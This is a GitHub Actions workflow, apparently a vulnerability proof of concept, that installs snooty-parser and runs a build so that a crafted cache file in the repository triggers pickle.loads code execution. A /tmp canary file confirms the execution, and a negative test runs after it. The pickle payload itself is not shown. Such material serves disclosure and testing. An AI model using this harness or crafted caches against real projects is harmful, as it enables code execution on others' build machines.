poc: snooty-parser pickle.loads RCE (CWE-502) #1
Workflow file for this run
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| name: "PoC: snooty-parser pickle.loads RCE (CWE-502)" | |
| on: [push, pull_request] | |
| jobs: | |
| snooty-rce-poc: | |
| runs-on: ubuntu-latest | |
| timeout-minutes: 10 | |
| steps: | |
| - uses: actions/checkout@v4 | |
| - name: Show cache file | |
| run: ls -la .snooty-*.cache.gz 2>/dev/null || echo "No cache" | |
| - uses: actions/setup-python@v5 | |
| with: | |
| python-version: "3.11" | |
| - name: Install snooty-parser | |
| run: pip install 'git+https://github.com/mongodb/snooty-parser.git' | |
| - name: Run snooty build (triggers pickle.loads) | |
| run: python -m snooty build . 2>&1 || true | |
| - name: Verify RCE | |
| run: | | |
| if [ -f /tmp/snooty-rce-proof.txt ]; then | |
| echo "=====================================" | |
| echo " RCE CONFIRMED on Actions Runner" | |
| echo "=====================================" | |
| cat /tmp/snooty-rce-proof.txt | |
| else | |
| echo "Canary not found" | |
| fi | |
| - name: Negative test | |
| run: | | |
| rm -f .snooty-*.cache.gz /tmp/snooty-rce-proof.txt | |
| python -m snooty build . 2>&1 || true | |
| [ ! -f /tmp/snooty-rce-proof.txt ] && echo "Negative test PASSED" | |
| - uses: actions/upload-artifact@v4 | |
| if: always() | |
| with: | |
| name: snooty-rce-proof | |
| path: /tmp/snooty-rce-proof.txt | |
| if-no-files-found: warn |